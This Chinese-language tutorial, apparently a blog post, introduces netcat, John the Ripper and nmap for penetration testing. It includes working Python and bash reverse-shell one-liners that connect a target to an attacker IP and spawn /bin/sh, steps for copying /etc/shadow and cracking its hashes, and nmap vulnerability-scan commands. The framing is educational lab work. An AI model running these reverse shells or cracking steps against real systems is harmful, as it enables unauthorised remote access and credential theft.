一、netcat简介与使用

nc的全称为NetCat,它能够建立并接受传输控制协议(TCP)和用户数据报协议(UDP)的连接,Netcat可在这些连接上读写数据,直到连接关闭为止。它可以通过手工或者脚本与应用层的网络应用程序或服务进行交互。从技术上来讲,NetCat并不能产生UDP连接,因为UDP是一种无连接的协议。NetCat没有图形界面,很粗糙,很原始。Nc主要功能,Nc可以在两台设备上面相互交互,即侦听模式/传

nc工具的下载及安装:

下载:地址The GNU netcat - Browse /netcat/0.7.1 at SourceForge.net(下载的是netcat-0.7.1.tar.gz版本)

解压到自己指定目录中:

tar -zxvf netcat-0.7.1.tar.gz -C /usr/local

安装:

./configure --prefix=/opt/netcat

编译:

make

安装:

make install

配置环境变量:

vim /etc/profile

添加以下内容:

# set netcat path  
​
export NETCAT_HOME=/opt/netcat 
​
export PATH=$PATH:$NETCAT_HOME/bin

保存,退出,并使配置生效:

source /etc/profile

常用命令:

nc的基本命令行形式是

nc [options] host ports

其中host是要扫描的主机名或IP地址,ports要么是一个单独的端口,要么是一个端口范围(用m-n的形式指定),要么是一系列用空格隔开的单个端口。

-h 帮助信息

-i secs 延时的间隔

-l 监听模式,用于入站连接

-L 连接关闭后,仍然继续监听

-n 指定数字的IP地址,不能域名服务器

-o file 记录16进制的传输

-p port 本地端口号

-r 随机本地及远程端口

-s addr 本地源地址

-t 使用TELNET交互方式

-u UDP模式

-v 详细输出--用两个-v可得到更详细的内容

-w secs timeout的时间

-z 将输入输出关掉--用于扫描时

nc的基本使用方法:

1、实现连接通讯

服务端 监听端口 Nc -lnvp 端口

客户端 连接端口 nc ip 端口

代表监听本地的端口输出结果不加域名

 

2、传输文件内容

服务端:nc -lvp 6666 > 2.txt

客户端:nc ip 端口 < 2.txt

3、获取shell

获取shell分为两种,一种是正向shell,一种是反向shell。如果客户端连接服务器端,想要获取服务器端的shell,那么称为正向shell,如果是客户端连接服务器,服务器端想要获取客户端的shell,那么称为反向shell。

正向shell:

使用Netcat能实现类似ssh的功能,即将目标机器shell终端暴露在某个端口上,然后本地机器使用Netcat连接到目标机器上,就可以访问目标机器的shell终端

示意图:

 

攻击机连接靶机,攻击机作为客户端,靶机作为服务器,攻击机主动连接靶机。

缺点:靶机如果有waf或者做了策略基本连不上。

反向shell:

示意图:

 

 

靶机连接攻击机,靶机作为客户端主动连接上作为服务端的攻击机。

优点:便于实战使用,不会因为靶机有防火墙而无法连接。

反向shell的渗透思路:命令执行漏洞 ,木马的方式 等。

python方法:

Python:

代码块

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.18.129",7788));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

攻击机开启nc监听端口9999

nc -lvp 9999

靶机利用python代码链接攻击机9999端口并发送自己的shell文件

攻击机:

靶机:

理解:python方法可以在靶机没有nc软件的情况下对攻击机发送shell文件,但需要靶机安装python环境,对靶机有一定要求

bash方法:

代码:

bash -i >& /dev/tcp/192.168.163.128/9999 0>&1

靶机:

攻击机:

理解:同理python,不需要环境,软件,linux自带的脚本编译器


二、john工具的使用

John the Ripper是一个快速的密码破解程序,目前可用于Unix,Windows,DOS和OpenVMS的许多口味。其主要目的是检测弱Unix密码。除了在各种Unix系统上最常见的几种crypt(3)密码哈希类型之外,现在支持的还有Windows LM哈希,以及社区增强版本中的大量其他哈希和密码。

下载:

Kali中无需下载直接使用 其他Linux请使用命令: 请记得连上互联网!

sudo apt-get install john 或 sudo yum install –y john

常用命令:

--single[=SECTION] ] “单裂”模式

--wordlist[=FILE] --stdin 单词表模式,从FILE或stdin读取单词

--pipe 像--stdin一样,但批量读取,并允许规则

--loopback[=FILE] 像 --wordlistg一样, 但是从.pot文件中获取单词

--dupe-suppression 压制wordlist中的所有模糊(并强制预加载)

--prince[=FILE] PRINCE模式,从FILE中读取单词

--encoding=NAME 输入编码(例如,UTF-8,ISO-8859-1)。 也可以 看看doc / ENCODING和--list = hidden-options。

--rules[=SECTION] 为单词表模式启用单词修改规则

--incremental[=MODE] “增量”模式[使用部分模式]

--mask=MASK 掩码模式使用MASK

--markov[=OPTIONS] “马尔可夫”模式(参见doc / MARKOV)

--external=MODE 外部模式或字过滤器

--stdout[=LENGTH] 只是输出候选人密码[在LENGTH切]

--restore[=NAME] 恢复被中断的会话[名为NAME]

--session=NAME 给一个新的会话NAME

--status[=NAME] 打印会话的状态[名称]

--make-charset=FILE 制作一个字符集文件。 它将被覆盖

--show[=LEFT] 显示破解的密码[如果=左,然后uncracked]

--test[=TIME] 运行测试和每个TIME秒的基准

--users=[-]LOGIN|UID[,..] [不]只加载这个(这些)用户

--groups=[-]GID[,..] 只加载这个(这些)组的用户

--shells=[-]SHELL[,..] 用[out]这个(这些)shell来加载用户

--salts=[-]COUNT[:MAX] 用[out] COUNT [到MAX]散列加载盐

--save-memory=LEVEL 启用内存保存,级别1..3

--node=MIN[-MAX]/TOTAL 此节点的数量范围不在总计数中

--fork=N 叉N过程

--pot=NAME 锅文件使用

--list=WHAT 列表功能,请参阅--list = help或doc / OPTIONS

--format=NAME 强制使用NAME类型的散列。 支持的格式可以用-- list=formats和--list=subformats来看(最常用)

john的破解模式:

破解条件:已知密文

  • 字典模式:(--worldlist)在这种模式下,用户只需要提供字典和密码列表用于破解。

    #命令方式:

    john --wordlist=wordlst.txt pass_shadow.txt

    #wordlst.txt:是字典文件,每个密码独占一行

    #pass_shadow.txt:密码文件

    还可以仅破解指定用户(--user=root)

  • 单一破解模式:(--single)这是john作者推荐的首选模式。John会使用登录名、全名和家庭通讯录作为候选密码。

    #命令方式:

     john --single pass_shadow.txt

  • 递增模式:在该模式下john会尝试所有可能的密码组合。这是最具威力的一种。

  • 外部模式:在这种模式下,用户可以使用john的外部破解模式。使用之前,需要创建一个名为(list.external:mode)的配置文件,其中mode由用户分配。

案例:

在使用时,我们首先要将 etc 目录下 passwd 、 shadow 的内容复制到另一个文本文件中,如下命令 。

然后使用john工具进行简单的暴力破解,如下:

当用户的密码设置的十分困难时,我们就需要一个字典文件来进行破解,这时我们可以使用John -w –rules :使用字典文件来进行解密,如人们常用hello、admin、password、superman、cooler、asdfgh、 123456等作为自己的密码。而-rules参数则在此基础上再加上些变化,如字典中有单词test,则john还会尝试使用tes、teSt、 tset等单词变化进行解密。



三、nmap工具的使用

Nmap是一款开源免费的网络发现和安全审计工具。它被用来快速扫描大型网络.包括主机探测于发现、开放的端口情况、操作系统与应用服务指纹识别及常见安全漏洞。它的图形化界面是Zenamp

NMAP的功能包括:

主机发现

端口扫描

版本侦测

操作系统侦测

常用参数:

-T4指定扫描过程的级别,级别越高扫描速度越快,但也越容易被防火墙或者IDS 屏蔽, 一般推荐使用T4级别

-sn只进行主机发现,不进行端口扫描

-〇进行系统版本扫描

-sV进行服务版本扫描

-p 扫描指定端口

-sS发送SYN包扫描

-sT发送TCP包扫描

-sA发送ACK包扫描

-sU UDP扫描

-PO 不进行ping扫描

-script指定脚本扫描

常见的6种 Nmap端口状态及其含义:

open :开放的,表示应用程序正在监听该端口的连接,外部可以访问

filtered:被过滤的.表示端口被防火墙或其他网络设备阻止,不能访问

closed:关闭的,表示目标主机未开启该端口

unfiltered:未被过滤的,表示nmap,无法确定端口所处状态,需进一步探测

open/ filtered:开放的或被过滤的, Nmap 不能识别

closed/ filtered:关闭的或被过滤的, Nmap 不能识别

常用的nmap命令:

1、nmap 192.168.1.1扫描单个目标

2、nmap 192.168.1.0/24扫描192.168.1.0这个网段

注意:A类 10.0.0.0/8

B类 172.0.0.0/16

C类 192.168.0.0/24

3、nmap 192.168.1.1 -p 21.22,23,80扫描192.168.1.1这个地址是否开放了某端口

4、 nmap -sS -T4 -sV 192.168.1.1 以sS.方式扫描.级别为T4.结果详细输出,扫描192.168.1.1

5、 nmap -ss-p1-65535 -v 192.168.1.1扫描192.168.1.1目标主机全部端口

6、 nmap --script=vuln 192.168.1.135 采用脚本扫描的方式,扫出对方存在的漏洞

Logo

为开发者提供学习成长、分享交流、生态实践、资源工具等服务,帮助开发者快速成长。

更多推荐